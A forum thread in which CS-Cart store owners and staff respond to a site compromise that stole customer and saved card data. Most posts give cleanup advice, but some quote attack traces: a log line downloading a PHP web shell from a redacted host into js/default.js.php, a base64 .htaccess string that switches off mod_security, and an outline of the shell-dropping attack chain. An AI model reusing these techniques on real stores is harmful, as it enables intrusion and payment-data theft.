Looks like a re-install is on the cards.
Will the database be safe to back up for later restoration ?
I have looked on our server and cannot see any of the extra files (thankfully).
We only use a VPS server and when I installed CS Cart I disabled Shell Access in WHM. Does that effectively mean that such uploaded shell scripts would not work?
[quote name='lwronline' timestamp='1401362614' post='184535']
I have looked on our server and cannot see any of the extra files (thankfully).
We only use a VPS server and when I installed CS Cart I disabled Shell Access in WHM. Does that effectively mean that such uploaded shell scripts would not work?
[/quote]
I would recommend you to go through the access logs of your server. Look for [font=arial, sans-serif][size=3]173.236.23.161.[/size][/font]
Guys,
Some update for you.
- Please change your admin script name CS-Cart Documentation — CS-Cart 4.15.x documentation for all your stores.
- If you are not sure about whether your site was compromised or not - change all admin passwords on your site.
We are working on an additional newsletter that will be sent shortly.
You don't absolutely have to reinstall if you do a good check with rsync:
rsync -vv -a --delete --checksum -i -h --dry-run --recursive --delete-after --ignore-errors backupwebsite/ livewebsite/
This cool program will show you the extra files on your website and the changed ones (even if they have the same dates). The option dry-run makes it only show you the changed ones so that you can check them by yourself one-by-one.
A test run looks like this:
I have these files on backupwebsite:
aaa
ccc
ddd
I have these files on livewebsite:
aaa
bbb
ccc
Result:
```php
building file list …
done
delta-transmission disabled for local transfer or --whole-file
.d…t… ./
fc.t… aaa
.f ccc
f+++++++++ ddd
total: matches=0 hash_hits=0 false_alarms=0 data=0
deleting in .
*deleting bbb
sent 142 bytes received 24 bytes 332.00 bytes/sec
total size is 12 speedup is 0.07 (DRY RUN) ```
What this means:
“*deleting bbb” > livewebsite has an extra file called bbb!
“>fc.t… aaa” > livewebsite has a different aaa file in terms of modification time(t) and contents©
“>f+++++++++ ddd” > livewebsite does not have the file ddd.
“.f ccc” > ccc file is ok
You can filter those results using grep or any other way since cs-cart has a lot of files. For example you can search only for .php, .tpl, .html and .htaccess files.
P.S. Does anyone know how to remove the annoying text on my forum profile page? I don't know how it got there and I can't find a way to remove it.
I had the thumbs.php and test.gif files in one of my sites. I deleted those files as well as the payment files on Monday a few minutes after the first email from CS Cart went out. I just changed the admin url and admin passwords. I guess it makes sense to change the MySQL DB password as well, correct?
…do we know what the nature of the attack actually was or was planned to be…?
Was it to collect user data 'live' as shoppers were online purchasing- or was it to hack into the website and download data direct from the database?
[color=#282828][font=arial, verdana, tahoma, sans-serif]Assumung (for a moment) that it was designed to collect data 'live' as shoppers purchased - if the actual credit card details were entered by the customer on a 'different' website - ie during checkout the customer is forwarded to the payment processors website such as Paypal, SagePay, Worldpay etc to enter card numbers (rather than entering them directly on the main website which then forwards the numbers to the payment processor) - would this mean that in this situation, at least the actual credit card details would be safe…? [/font][/color]
It's is a data collection hack which collected user information along with valid saved cc's.
We actually sanitized a site that was compromised and monitored it as the data was being collected so we know exactly how and what they collected.
In addition to changing the site admin name. you must also change the password to your database and the ftp account that you have saved within the upgrade settings. (as these credential are stored in the database to which the hackers had full access).
Here's a questions CS, being that congif.local was compromised what are we doing about the crypt_key and AUTH_CODE?
(I know dealing with the crypt_key is involved as all the existing data must first be decrypted with the current (compromised) key before it can be encrypted with a new key)
Also, we noticed that the attaches usually began with a version check (which is very easy to do on any cart installation), It would be a good idea to remove this ability.
Lovely… looks like our site was compromised on the 24th, 25th, and 27th.
[quote name='racingsolution' timestamp='1401384252' post='184563']
Lovely… looks like our site was compromised on the 24th, 25th, and 27th.
[/quote]
Beat you by 1 day, Im from the 23rd
I just want to clarify.
is this just up to 4.1.2
are later versions ok?
If i have updated from 4 up do i need to check or will the update to 4.1.4, 4.1.5 be safe?
Depends when you updated but I would check
@termalert - I doubt any of this would be detected by any malware software. There really isn't a “sigature” that would make it unique. Notice today indicates that cs-cart want the admin file renamed which is a royal pain for large organizations.
@lwronline - No, this attack does not come in via SSH. When @Brownleather refers to “shell scripts” he means it in the context of running PHP in “Command Line Mode”. This also prevents any use of Apache so there are no logs of the activity. It can only be found by having instrumented the actual files and then letting the attacker run them and capture what they do.
@Fishpaste - Only credit card data stored in the database could be compromised. I.e.if CC info is “removed” then only the last 4 digits of the credit card would be seen and if you use an outside processor such as paypal or any other processor that takes the user away from your site to process the cart then no cc data is stored on your site. Hence it is safe. That's kind of the point of using an offsite processor.
[quote name='Brownleather' timestamp='1401384205' post='184562']
It's is a data collection hack which collected user information along with valid saved cc's.
We actually sanitized a site that was compromised and monitored it as the data was being collected so we know exactly how and what they collected.
In addition to changing the site admin name. you must also change the password to your database and the ftp account that you have saved within the upgrade settings. (as these credential are stored in the database to which the hackers had full access).
Here's a questions CS, being that congif.local was compromised what are we doing about the crypt_key and AUTH_CODE?
(I know dealing with the crypt_key is involved as all the existing data must first be decrypted with the current (compromised) key before it can be encrypted with a new key)
Also, we noticed that the attaches usually began with a version check (which is very easy to do on any cart installation), It would be a good idea to remove this ability.
[/quote]
Brownleather, first of all I'd like to thank you! Your information was very helpful.
As for the AUTH_CODE, it can be used to re-install you CS-Cart. So actually I would recommend to delete “install” folder instead of changing AUTH_CODE. Since version 4, after installation the “install” folder is removed automatically.
As for the BlowFish encoding that is done with “crypt_key” - there are only two objects that are encoded:
- Credit Card information in User profile (only if this setting is enabled) - this feature was removed from v3
- Payment information of an order (the info that is displayed in order details in top right corner) - that is the data that is returned by a payment, in most cases it is status and transaction id.
The hacked script was trying to download only 2. i.e. payment information for only those payments that store credit card information, all other info was ignored.
@tbirnseth - The Apache error logs pick up some of the commands that are run in PHP Command Line Mode.
Check your Apache error logs for entries like…
sh: /response: No such file or directory
–08:54:39-- http://files.xxx.biz/shells/PHP/xxx.txt
=> `js/default.js.php'
Connecting to files.xxx.biz|108.000.000.79|:80…
connected.
HTTP request sent
200 OK
Length:
(65K)
[text/plain]
.
.
.
…
…
…
77% 1.26 MB/s
50K …
Now back over to access logs and you'll se
GET /js/default.js.php HTTP/1.1
POST /js/default.js.php HTTP/1.1
@imac - You're welcome
The way the exploit works is that the attacker issues a command though the vulnerable payment script, the command is to download a robust shell script which they usually place in the js folder and name it default.js.php or default.thumb.php
They than use the robust script to create the simple (but powerful) thumbs.php (they then post a cs-cart tailored request to thumbs.php which returns the cart data)
Just lovely!
This seems to be more serious than it is being made out to be. If they downloaded user data, that would mean they have customers login info.
Ilya: Please advise if we should be changing our MySQL DB passwords, re-setting customer passwords and any other things that the hackers may now have. This type of stuff is not a joke and can bring a business to it's knees if not handled correctly.
Had a client say their images aren't showing up. I cleaned out the offending files the other day on all installations from the email.
Took a bit of searching around trying to find why images weren't showing for no good reason and it was the .htaccess file in the images folder was modified with this string of characters:
PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmlsdGVyRW5naW5lIE9mZg0KPC9JZk1vZHVsZT4 | base64 -d
I'm not a programmer so I don't know what it means but I deleted the .htaccess file and the images showed back up.
I just found another site that has images not showing up. Same deal on the .htaccess file in the images folder. Am checking all the rest right now.
Not even sure this is related to this issue but this issue just came up today.
If my site doesn't have either thumbs.php or test.gif, and my access logs don't show any activity from the IP address mentioned earlier in this thread, does this mean my site wasn't affected?
[quote name='TBOTECH' timestamp='1401393037' post='184574']
Had a client say their images aren't showing up. I cleaned out the offending files the other day on all installations from the email.
Took a bit of searching around trying to find why images weren't showing for no good reason and it was the .htaccess file in the images folder was modified with this string of characters:
PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmlsdGVyRW5naW5lIE9mZg0KPC9JZk1vZHVsZT4 | base64 -d
I'm not a programmer so I don't know what it means but I deleted the .htaccess file and the images showed back up.
I just found another site that has images not showing up. Same deal on the .htaccess file in the images folder. Am checking all the rest right now.
Not even sure this is related to this issue but this issue just came up today.
[/quote]
You did right, but I would recommend you to restore the original .htaccess, the content should be:
Options -Indexes
php_flag engine off
deny from all
[quote name='kingsleypress' timestamp='1401393600' post='184575']
If my site doesn't have either thumbs.php or test.gif, and my access logs don't show any activity from the IP address mentioned earlier in this thread, does this mean my site wasn't affected?
[/quote]
Yes, it was not. But I would still recommend to change admin script name and admin passwords